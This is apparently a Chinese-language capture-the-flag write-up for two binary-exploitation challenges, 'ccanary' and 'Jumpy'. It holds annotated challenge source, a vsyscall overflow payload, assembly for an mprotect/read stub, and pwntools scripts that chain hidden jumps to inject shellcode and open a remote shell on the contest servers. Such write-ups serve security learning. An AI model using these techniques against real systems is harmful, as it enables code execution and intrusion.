文件
链接:https://pan.baidu.com/s/1U3UY3V_FJ8XibTOUartiUA
提取码:cz4q
ccanary
- Tips:
vsyscall
;有三个固定地址的函数:0xffffffffff600000, 0xffffffffff600000+400, 0xffffffffff600000+800
(资料) - EXP
# python3
from pwn import *
context.log_level = "debug"
sh = remote("7b0000009a1198bfd6981114-ccanary.challenge.master.allesctf.net", 31337, ssl=True)
sh.recv()
payload = b'a'*0x1f + p64(0xffffffffff600000)
sh.sendline(payload)
sh.interactive()
#ALLES!{th1s_m1ght_n0t_work_on_y0ur_syst3m_:^)}
Jumpy
- 分析
- 以下是带注释的源代码:
#include <sys/mman.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdlib.h>
// setbuf
void ignore_me_init_buffering() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
// 指令名, 指令号
typedef struct instruction_t
{
char *mnemonic;
uint8_t opcode;
} instruction_t;
// 汇编指令与机器码对照详见:
// https://blog.csdn.net/changer_WE/article/details/84066401
const uint8_t OP_RET = 0xc3;
const uint8_t OP_SHORT_JMP = 0xeb;
const uint8_t OP_MOV_EAX_IMM32 = 0xb8;
// 只检查 3 条指令
const instruction_t INSNS[3] = {
{"ret", OP_RET},
{"jmp", OP_SHORT_JMP},
{"moveax", OP_MOV_EAX_IMM32},
};
uint8_t *cursor;
uint8_t *mem;
// 读操作指令号
void emit_opcode(uint8_t opcode)
{
*cursor++ = opcode;
}
// 读 32-bit 数据
void emit_imm32()
{
scanf("%d", (uint32_t *)cursor);
cursor += sizeof(uint32_t);
}
// 读 8-bit 数据
int8_t emit_imm8()
{
scanf("%hhd", (int8_t *)cursor++);
return *(int8_t *)(cursor - 1);
}
// 检查指令名,返回对应指令号
const instruction_t *isns_by_mnemonic(char *mnemonic)
{
for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++)
if (!strcmp(mnemonic, INSNS[i].mnemonic))
return &INSNS[i];
return NULL;
}
// 检查是否是支持的三种操作之一
bool is_supported_op(uint8_t op)
{
for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++)
if (op == INSNS[i].opcode)
return true;
return false;
}
int main(void)
{
ignore_me_init_buffering();
printf("this could have been a V8 patch...\n");
printf("... but V8 is quite the chungus ...\n");
printf("... so here's a small and useless assembler instead\n\n");
mem = mmap((void*)0x1337000000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(mem, 0xc3, 0x1000);
cursor = mem;
printf("supported insns:\n");
printf("- moveax $imm32\n");
printf("- jmp $imm8\n");
printf("- ret\n");
printf("- (EOF)\n");
printf("\n");
uint8_t **jump_targets = NULL;
size_t jump_target_cnt = 0;
{
while (1)
{
printf("> ");
char opcode[10] = {0};
scanf("%9s", opcode);
const instruction_t *insn = isns_by_mnemonic(opcode);
if (!insn)
break;
// 一直读入指令,直至读到不支持的指令即停止
emit_opcode(insn->opcode);
switch (insn->opcode)
{
case OP_MOV_EAX_IMM32:
emit_imm32();
break;
case OP_SHORT_JMP:
jump_targets = reallocarray(jump_targets, ++jump_target_cnt, sizeof(jump_targets[0]));
int8_t imm = emit_imm8();
uint8_t *target = cursor + imm;
jump_targets[jump_target_cnt - 1] = target;
break;
case OP_RET:
break;
}
}
}
// 会对读入的 jmp 指令简单的检查:检查跳转过去的指令是否是支持的指令(只进行一层,而且只检查跳转过去的那个 byte)
for (int i = 0; i < jump_target_cnt; i++)
{
if (!is_supported_op(*jump_targets[i]))
{
printf("invalid jump target!\n");
printf("%02x [%02x] %02x\n", *(jump_targets[i] - 1), *(jump_targets[i] + 0), *(jump_targets[i] + 1));
exit(1);
}
}
// 检查完之后,执行输入的汇编指令集
uint64_t (*code)() = (void *)mem;
mprotect(code, 0x1000, PROT_READ | PROT_EXEC);
printf("\nrunning your code...\n");
alarm(5);
printf("result: 0x%lx\n", code());
}
- 我们可以 jmp 到指令 moveax 的数据段去执行一个 4 字节的指令,但是这样只能执行程序支持的三种指令之一。再者,由于 jmp 只检查一层,我们不妨在 moveax 指令后面再加一个 moveax 指令,然后在第一个 moveax 指令的数据段放置一个 jmp 指令,跳到第二个 moveax 指令的数据段,这样就通过了第一个 jmp 指令的检查,而第二个 jmp 指令隐藏在 moveax 的数据段,不会被检查,因此第二个 moveax 指令数据段所放置的指令就可以自由发挥了,唯一的限制就是长度为 4 字节。因此我们可以将要执行的汇编代码的字节码 4 字节 4 字节地放到这个壳子里面去执行:
# imm32 -> raw
def emit_imm32(imm32):
jmp(1)
moveax(u32(b"\xeb\x03\x90\x90"))
moveax(u32(imm32))
- EXP
用到的汇编代码如下,其实就是执行mprotect(0x1337000000, 0x1000, RWX); read(0, 0x1337000000, 0x1000)
:
; rdi = 0x1337000000
push 13h
pop rdi
shl rdi,8
add rdi,37h
shl rdi,24
; rsi = 0x1000
push 10h
pop rsi
shl rsi,8
; rdx = 7(RWX)
push 7
pop rdx
; rax = 10(sys_mprotect)
push 10
pop rax
; mprotect(0x1337000000, 0x1000, RWX)
syscall
; read(0, 0x1337000000, 0x1000)
xchg rdx,rsi
nop
xchg rsi,rdi
nop
xor rdi,rdi
nop
xor rax,rax
nop
syscall
对应的字节码,自行填 nop(90h)
:
root@5988320fccce:/ctf/work# nasm -f elf64 test.s
root@5988320fccce:/ctf/work# objdump -d test.o
test.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 6a 13 pushq $0x13
2: 5f pop %rdi
3: 48 c1 e7 08 shl $0x8,%rdi
7: 48 83 c7 37 add $0x37,%rdi
b: 48 c1 e7 18 shl $0x18,%rdi
f: 6a 10 pushq $0x10
11: 5e pop %rsi
12: 48 c1 e6 08 shl $0x8,%rsi
16: 6a 07 pushq $0x7
18: 5a pop %rdx
19: 6a 0a pushq $0xa
1b: 58 pop %rax
1c: 0f 05 syscall
1e: 48 87 d6 xchg %rdx,%rsi
21: 90 nop
22: 48 87 f7 xchg %rsi,%rdi
25: 90 nop
26: 48 31 ff xor %rdi,%rdi
29: 90 nop
2a: 48 31 c0 xor %rax,%rax
2d: 90 nop
2e: 0f 05 syscall
然后再读入一段 shellcode,完成 getshell。
# python3
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
#sh = process("./jumpy")
sh = remote("7b00000055611ec0b09226a1-jumpy.challenge.master.allesctf.net", 31337, ssl=True)
# imm32 -> int
def moveax(imm32):
sh.recvuntil(b"> ")
sh.sendline(("moveax " + str(imm32)).encode("ascii"))
# imm8 -> int
def jmp(imm8):
sh.recvuntil(b"> ")
sh.sendline(("jmp " + str(imm8)).encode("ascii"))
def ending():
sh.recvuntil(b"> ")
sh.sendline(b"end")
# imm32 -> raw
def emit_imm32(imm32):
jmp(1)
moveax(u32(b"\xeb\x03\x90\x90"))
moveax(u32(imm32))
emit_imm32(b"\x6a\x13\x5f\x90")
emit_imm32(b"\x48\xc1\xe7\x08")
emit_imm32(b"\x48\x83\xc7\x37")
emit_imm32(b"\x48\xc1\xe7\x18")
emit_imm32(b"\x6a\x10\x5e\x90")
emit_imm32(b"\x48\xc1\xe6\x08")
emit_imm32(b"\x6a\x07\x5a\x90")
emit_imm32(b"\x6a\x0a\x58\x90")
emit_imm32(b"\x0f\x05\x90\x90")
emit_imm32(b"\x48\x87\xd6\x90")
emit_imm32(b"\x48\x87\xf7\x90")
emit_imm32(b"\x48\x31\xff\x90")
emit_imm32(b"\x48\x31\xc0\x90")
emit_imm32(b"\x0f\x05\x90\x90")
ending()
sh.recvuntil(b"code...\n")
shellcode = asm(shellcraft.sh())
sh.sendline(b'\x90'*0x100+shellcode)
sh.interactive()